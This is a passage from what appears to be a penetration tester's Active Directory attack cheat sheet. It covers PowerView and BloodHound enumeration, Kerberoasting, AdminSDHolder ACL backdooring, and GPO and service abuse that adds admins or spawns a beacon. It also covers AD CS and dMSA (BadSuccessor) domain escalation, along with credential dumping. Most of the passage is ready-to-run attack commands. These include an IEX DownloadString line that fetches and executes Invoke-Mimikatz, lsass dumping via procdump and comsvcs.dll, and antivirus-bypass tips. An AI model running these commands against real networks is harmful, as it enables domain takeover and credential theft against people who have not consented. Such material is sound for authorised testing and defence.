$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
--------------
# ACL
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
-------------------
# Shared files and folders
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
-----------------------
# Domain trust
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
---------------------
# Check for low-hangig fruit
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

-------------------
# SID to Name
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
# Kerberoast
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
# Use different credentials (argument)
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
# Impersonate a user
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
# Set values
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
</syntaxhighlight>

== PingCastle ==

[https://www.pingcastle.com/ https://www.pingcastle.com/]

<syntaxhighlight lang="bash">
# Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.
# Simple healthcheck
./pingcastle.exe --user User1 --password Password1 --server domain.com --healthcheck
</syntaxhighlight>

== Adalanche ==

[https://github.com/lkarlslund/Adalanche lkarlslund/Adalanche: Active Directory ACL Visualizer and Explorer - who's really Domain Admin? (Commerical versions available from NetSection) (github.com)]

>
Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and show misconfigurations.

<syntaxhighlight lang="bash">
# Example to create data files file for contoso.local coming from your Linux pwnage box using TLS port 636, ignoring certs and using NTLM auth:
adalanche collect activedirectory --tlsmode tls --ignorecert --domain contoso.local --authdomain CONTOSO --username joe --password Hunter42
# From domain joined Windows member using current user:
adalanche collect activedirectory
# From domain joined Windows machine using other credentials than logged in:
adalanche collect activedirectory --authmode ntlm --username joe --password Hunter42
</syntaxhighlight>

== BloodHound ==

[https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/BloodHound]

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.

* Run sharphound or bloodhound.py to collection data from target

* Transfer and import the zip files to bloodhound

* Analyze https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html

<syntaxhighlight lang="bash">
# INSTALL BLOODHOUND
# Install java
echo "deb http://httpredir.debian.org/debian stretch-backports main" | sudo tee -a /etc/apt/sources.list.d/stretch-backports.list
sudo apt-get update
# Install neo4j
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl stop neo4j
# Start neo4j
cd /usr/bin
./neo4j console
https://localhost:7474/
# Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases
./BloodHound.bin --no-sandbox
</syntaxhighlight>

<syntaxhighlight lang="bash">
# INGESTOR
# Windows
# For PC joined to domain
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
# Domain enum from domain joind creds
SharpHound.exe --collectionmethods All -d contoso.local
# Execute SharpHound using different creds
runas /netonly /user:domain\user "powershell.exe -exec bypass"
------------------------------------------------------------------------
# Python
# Need valid creds
https://github.com/fox-it/BloodHound.py
python3 bloodhound.py -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all -dc dc01.blackfield.local
python3 bloodhound.py -c All -d -u -p '' -ns -dc
# Through proxychains
proxychains bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp
----------------------------------------------------------------------
https://www.netexec.wiki/ldap-protocol/bloodhound-ingestor
nxc ldap -u user -p pass --bloodhound -ns --collection All
</syntaxhighlight>

=== Add Custom Queries to BloodHound ===

<syntaxhighlight lang="bash">
https://github.com/CompassSecurity/BloodHoundQueries/tree/master/BloodHound_Custom_Queries
# After adding the custome queries, they will show up under Analysis --> Custom Queries.
# On Linux, you can simply install the queries using this curl command:
curl -o ~/.config/bloodhound/customqueries.json "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json"
# On Windows, you can simply install the queries using this PowerShell command:
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json" -OutFile "$env:USERPROFILE\AppData\Roaming\bloodhound\customqueries.json"
</syntaxhighlight>

== Bloodhound Community Edition ==

[https://specterops.io/blog/2023/08/08/bloodhound-community-edition-a-new-era/ BloodHound Community Edition: A New Era - SpecterOps]

For years, BloodHound was built on a simple architecture: a Neo4J database and a single-page web app running in Electron. While simple, this architecture was also a significant limiting factor in improving the application. We chose to invest in a completely new architecture for BHE and today, we’re bringing much of that architecture to BloodHound CE.

BloodHound CE now has a robust architecture comprised of several front-end and back-end components, including:

* Postgres and Neo4J databases

* A new REST API

* A brand new front-end web application

To enhance the user experience and facilitate seamless deployments, all of these components are now presented in a fully containerized model. Say goodbye to concerns about Java and Neo4J versions, as running BloodHound CE has never been simpler:

Step 1: Install [https://www.docker.com/products/docker-desktop/ Docker] and download [https://github.com/SpecterOps/bloodhound/tree/main/examples/docker-compose/docker-compose.yml our example Docker compose file].

Step 2: Open a terminal to the directory you downloaded the file to and run docker compose up

Step 3: The initial password will display in your terminal. In a browser, navigate to http://localhost:8080/ui/login. Log in with username “admin” and the randomly generated password.

<syntaxhighlight lang="bash">
https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267
# Prerequisites
# Running the example Docker Compose project requires the following:
# A Docker-compatible container runtime. Either Docker or Podman (with Docker compatibility enabled) will work great.
# Docker Compose, which is automatically included with Docker Desktop if you choose to go that route.
# The simplest way to get started is to install Docker Desktop, as it will provide both prerequisites and requires no additional configuration.
# # Process
# Optional: One-Line command for Steps 1-3
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up
# Download and store docker-compose.yml in the directory from which you would like to run BloodHound CE.
# Open a terminal interface, and from the directory you selected run docker-compose up
# To run BloodHound CE without the need to maintain the terminal interface, use:
docker-compose up -d
# and then
docker-compose logs
# to see the most recent logs from the environment.
# Docker Compose will download the required container images and initialize them. # The logs will display the randomized default password to log into your new BloodHound CE environment.
# Copy this password and open a web browser to http://localhost:8080.
# Log in with the default username admin and the password from the logs.
# The password cannot be regenerated. If you lost the password, simply
run docker compose down -v
# and then docker compose up to reset your databases.
# You will be required to change the password, thereafter you're logged into BloodHound CE!
# Default Credentials
Admin
Password: See logs and change it.
</syntaxhighlight>

=== Ingestors ===

==== NetExec ====

<syntaxhighlight lang="bash">
nxc ldap targetIP -u user -p password --bloodhound --collectionmethod all
</syntaxhighlight>

==== rusthound-ce ====

[https://github.com/g0h4n/RustHound-CE GitHub - g0h4n/RustHound-CE: Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀]

<syntaxhighlight lang="bash">
./rusthound-ce --domain domain.local -u 'test' -p 'test' -o . -z --ldaps #specify ldaps if LDAPS is enforced
</syntaxhighlight>

== AzureHound ==

Some orgs dont allow you to authenticate to outside apps, therefor you might need to use Jwt.

See this URL to find Jwt tokens using the browser. [https://www.scip.ch/en/?labs.20240523 Microsoft Cloud Access Tokens - Control the Token, Control the Cloud]. The jwt token have short expiry date.

Then with azurehound do . If you encounter any error, try with Azurehound v2.2.1 (Issue: [https://github.com/SpecterOps/AzureHound/issues/122 Error "failed to create new Azure client: unable to authenticate. no valid credential provided" when authenticating using a JWT in Azurehound later than 2.2.1 · Issue #122 · SpecterOps/AzureHound])

<syntaxhighlight lang="bash">
azurehound.exe -j "eyYadssad..." list -o outputjson.
</syntaxhighlight>

== LDAP with credentials ==

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
# Look in the LDAP database, with ldapsearch or AdExplorer.exe to look for credentials in fields userPassword & unixUserPassword, or even for Description
# ENUMERATE
# https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/
ldapsearch -x -b -H -D -W
ldapsearch -x -b "dc=devconnected,dc=com" -H ldap://192.168.178.29
python windapsearch.py -u morph3 -p morph3 -d evil.corp â€“dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
</syntaxhighlight>

== Group Managed Service Accounts - gMSA ==

<syntaxhighlight lang="bash">
# If service account exists on target, enumerate gMSA.
# Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.
# Example
Import-Module ActiveDirectory
Get-ADPrincipalGroupMembership svc_apache$ | select name
# Check if your user is allowed to retrieve managed passwords
Get-ADServiceAccount -Identity 'svc_apache$' -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword
# Repo for reading gMSA passwords
https://github.com/rvazarkar/GMSAPasswordReader
.\GMSAPasswordReader.exe --accountname svc_apache
# Now either try to crack the hash or pass the hash using any of the techniques in this blogpost.
</syntaxhighlight>

== Forest Enumeration ==

'''Understanding Trust:'''

* Trust is a relationship established between two or more AD domains that allows users in one domain to access resources in another.

* '''One-Way Trust''': If Domain A trusts Domain B, users from Domain B can access resources in Domain A, but not vice versa.

* '''Two-Way (Bi-Directional) Trust''': Users from both domains can access resources in the other domain. This means Domain A trusts Domain B and Domain B also trusts Domain A.

* '''Transitivity''': Trust can be transitive. If Domain A trusts Domain B and Domain B trusts Domain C, then Domain A implicitly trusts Domain C.

'''Domain and Enterprise Admins:'''

* '''Domain Admins''': Members of this group have full control over their specific domain. However, their administrative privileges don't extend to other domains in the forest.

* '''Enterprise Admins''': This group is exclusive to the root domain of the forest. Members of the Enterprise Admins group have administrative rights across all domains in the forest. This makes them a prime target for attackers, as compromising an Enterprise Admin account provides extensive control over the entire AD infrastructure.

<syntaxhighlight lang="bash">
# Enumerating Domain Trusts
# Using nltest.exe:
# The /trusted_domains flag can be used to list domains trusted by the current domain.
C:\tools> nltest /trusted_domains
# Using .NET:
# .NET provides a method called GetAllTrustRelationships within the System.DirectoryServices.ActiveDirectory.Domain namespace.
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# Using Win32 API:
# The DsEnumerateDomainTrusts API can be used.
# PowerView, a PowerShell tool, has a method called Get-DomainTrust that can utilize this API.
Get-DomainTrust -API
# Using LDAP:
# PowerView can also be used for this LDAP query. (LDAP, which stands for Lightweight Directory Access Protocol, is like a digital phone book for storing and looking up information about users, computers, and other resources on a network).
Get-DomainTrust
# Enumerate Users, Groups, and Services in Trusted Domains
# Once domain trusts are identified, the next step is to enumerate users, groups, and services in these trusted domains. This can be achieved using:
# .NET DirectorySearcher Class:
# This class can perform LDAP queries and can be initialized with a DirectoryEntry object.
# PowerView's Get-DomainUser method can be used to enumerate users in a trusted domain.
Get-DomainUser -Domain corp1.com
# BloodHound Ingestor (The best one):
# This tool can work with domain trust and allows enumeration across the entire forest.
</syntaxhighlight>

== Snaffler - Enumerate shares for good data ==

[https://github.com/SnaffCon/Snaffler GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )]

Snaffler is a tool for '''pentesters''' and '''red teamers''' to help find delicious candy needles (creds mostly, but it's flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).

<syntaxhighlight lang="bash">
snaffler.exe -o snaffler.log -s -y -d domain.com -c dc-ip
</syntaxhighlight>

Afte running the above command, parse the output to SnafflerParser.ps1 for a more readable output. [https://github.com/zh54321/SnafflerParser GitHub - zh54321/SnafflerParser: Parses Snaffler output file and generate beautified outputs.]

<syntaxhighlight lang="bash">
.\SnafflerParser.ps1 -in snaffler.log
</syntaxhighlight>

== ADExplorer.exe ==

[https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer AD Explorer - Sysinternals | Microsoft Learn]

Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.

[[File:2022-06-image.png|thumb]]

Can also use the snapshot from ADExplorer with BloodHound.

[https://github.com/c3c/ADExplorerSnapshot.py c3c/ADExplorerSnapshot.py: ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON.]

----

= Local Privilege Escalation =

If you have valid credentials, try to escalate to local administrator in order to be able to dump password hashed.

== Checklist and tools to check for PrivEsc ==

<syntaxhighlight lang="bash">
# Checklist for local windows privilege escalation
https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
# Notes
https://blog.aghanim.net/?p=1314
# Use WinPEASS
kali> peass
# Use WinPEASS using meterpreter
# https://github.com/carlospolop/PEASS-ng/tree/master/metasploit
modules/post/multi/gather/
# PowerView.ps1
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
Import-Module powerview.ps1
# PowerUp.ps1
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup
. .\powerup.ps1
Invoke-AllChecks
# seatbelt
# https://github.com/GhostPack/Seatbelt
# Run all checks
Seatbelt.exe -group=all -full
# JAWS
# https://github.com/411Hall/JAWS
# Run from within CMD shell and write out to screen.
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1
# HostRecon.ps1
# https://github.com/dafthack/HostRecon
# This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC's, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.
Invoke-HostRecon -Portscan -TopPorts 128
</syntaxhighlight>

== Abusing GPO Permission ==

<syntaxhighlight lang="bash">
# See PG Vault writeup
# If you have write permission to a GPO, try using SharpGPOAbuse
# https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# Precompiled exe is located here https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.0_x64
# See github for more commands
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
</syntaxhighlight>

== PowerUp ==

<syntaxhighlight lang="bash">
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powerup
https://powersploit.readthedocs.io/en/latest/
# Check for vulnerable programs and configs
Invoke-AllChecks
----------------
# Default vulnerable service abuse
# Abuses service 'VulnSVC' to add a localuser "john" with password "Password123! to the machine and local administrator group
Invoke-ServiceAbuse -Name VulnSVC

# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"
# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'
# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc
-------------
# PortScan
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
</syntaxhighlight>

----

= Lateral movement with privileged creds/session =

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session]

== AD CS Domain Escalation ==

Active Directory Certificate Services (AD CS) is a Microsoft platform that provides a variety of security functions to protect digital certificates within an organization. However, a problem has been identified whereby some AD CS settings are not properly configured, which can leave the system vulnerable to attackers.

The issue arises when attackers exploit this vulnerability to obtain unauthorized certificates. These certificates can then be used to gain access to areas of the network or impersonate individuals they should not have access to. For instance, an attacker could potentially gain a certificate that enables them to impersonate a network administrator and thereby gain unrestricted access to sensitive data.

If you want an in-depth whitepaper about AD CS, it is very recommended to have read this paper.

[https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf Certified_Pre-Owned.pdf]

Below is a great ADCS Attack Techniques Cheatsheet made by [https://x.com/MacmodSec @MacmodSec]

https://docs.google.com/spreadsheets/d/1YLhkAHVWCVANxlH0VhM4ksylmg1rk5fV0NZu6yhIFT4/edit?usp=sharing

[https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx ADCS Attack Techniques Cheatsheet][https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx Download]

Greate Guide - [https://seriotonctf.github.io/2024/06/26/ADCS-Attacks-with-Certipy/index.html ADCS Attacks with Certipy | serioton]

[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/ Abusing Active Directory Certificate Services - Part One - Black Hills Information Security, Inc.]
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/ Abusing Active Directory Certificate Services – Part 2 - Black Hills Information Security, Inc.]
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-3/ Abusing Active Directory Certificate Services (Part 3) - Black Hills Information Security, Inc.]

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft

------------
# List all vulnerable template
certipy find -dc-only -target-ip 10.10.10.10 -u USER -p PASSWORD -target -dc01.domain.com -vulnerable -timeout 120
# If user have enrollment rights on a template it is possible to obtain valid certificate for all valid users and domain admins. The certificate and private key will be safed in a .pfx file.
certipy req -u USER -p PASSWORD -target PKI01.domain.com -target 10.10.10.11 -template template01 -ca "domain-issuing-CA" -upn "domainadmin01"
# Retriev NTLM hash for domain admin
certipy auth -pfx domainadmin01.pfx -domain domain.com
# Now, pass the hash using desired tool.
crackmapexec smb 10.10.10.12 -u domainadmin01 -H ntlm_hash
----------------
See the below writeup for HTB Manager.
</syntaxhighlight>

[https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium][https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Download]

== Change Password of user ==

If you have a user that have "ForcePasswordChange" rights on another user you can change the password of that user.

<syntaxhighlight lang="bash">
# Powershell
$creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\user1", (ConvertTo-SecureString "HelloPass123!" -AsPlainText -Force))
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity User2 -AccountPassword $UserPassword -Credential $creds -Verbose
# Remote
net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
</syntaxhighlight>

== Change Password of a User in another domain ==

If you have ForcePasswordChange on a user in another domain you can use the command below to change the password.

<syntaxhighlight lang="bash">
$UserPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
Set-DomainUserPassword -Identity "user.1" -domain internal.domain.com -AccountPassword $UserPassword
</syntaxhighlight>

== BadSuccessor ==

[https://github.com/ibaiC/BadSuccessor GitHub - ibaiC/BadSuccessor: A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor]

BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.

[https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/ BadSuccessor: Abusing dMSAs for AD Domination]

<syntaxhighlight lang="bash">
Usage:
# Enumerate and list all Organizational Units you have write access to.
BadSuccessor find
# Create the malicious dMSA in the target OU
BadSuccessor escalate -targetOU -dmsa -targetUser [-dc-ip ] -dnshostname (-machine | -user )
# Cleanup malicious dMSA
BadSuccessor.exe del dMSAAccountName "OU=ServiceAccounts,DC=example,DC=com"
Examples:
BadSuccessor find
BadSuccessor escalate \
-targetOU "OU=Keep,DC=essos,DC=local" \
-dmsa kreep_dmsa \
-targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
-dnshostname kreep_dmsa \
-machine braavos$ \
-dc-ip 192.168.10.15
BadSuccessor escalate \
-targetOU "OU=Keep,DC=essos,DC=local" \
-dmsa kreep_dmsa \
-targetUser "CN=Administrator,CN=Users,DC=essos,DC=local" \
-dnshostname kreep_dmsa \
-user john.doe \
-dc-ip 192.168.10.15
Parameters:
-targetOU DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)
-dmsa Name for the new dMSA (sAMAccountName without '$')
-targetUser Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)
-dnshostname dNSHostName to give to the new dMSA for Kerberos authentication
-machine Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$
-user User account for msDS-GroupMSAMembership (sAMAccountName without domain)
-dc-ip (Optional) FQDN or IP of the DC to bind against for schema-aware writes
Note: You must specify either -machine OR -user, but not both.
</syntaxhighlight>

== Crack TGT - hashcat or John ==

<syntaxhighlight lang="bash">
# hashcat
# Check https://hashcat.net/wiki/doku.php?id=example_hashes for correct mode for TGT.
hashcat -a 0 -m 19500 tgt.hash rockyou.txt
# John the ripper
# Convert Kirbi to john format https://www.kali.org/tools/john/#kirbi2john
kirbi2john
# Convert ccache to john format
https://www.kali.org/tools/john/#ccache2john
</syntaxhighlight>

== Hash extraction (Dump hashes) ==

Dump all the hashes in memory and locally.

If mimikatz.exe dont work on reverse shell, try generating a msfvenom with -f psh-cmd and try again. Mimikatz should work now. It does not work with nishang invoke-powershelltcp for some reason.

<syntaxhighlight lang="bash">
# Credentials Mimikatz
# Elevate Privileges to extract the credentials
privilege::debug # This should give an error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"

# Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'

# Meterpreter
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

# Bypass Anti-Virus
# Procdump from SysInternals is a legitimate Microsoft tool, and is not detected by Defender. Use this tool to dump lsass process, download the dump and extract creds locally from the dump
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Extract creds from dump
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
# Automatically done with SprayKatz https://github.com/aas-n/spraykatz.
./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

# Dumping lsass with comsvcs.dll
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full

# Dumping lsass with Task Manager
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-task-manager

# Dumping lsass with procdump
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
------------------------------------------------------------------------

# CrackMapExec
# Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
# Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
# Dump the NTDS.dit from target DC
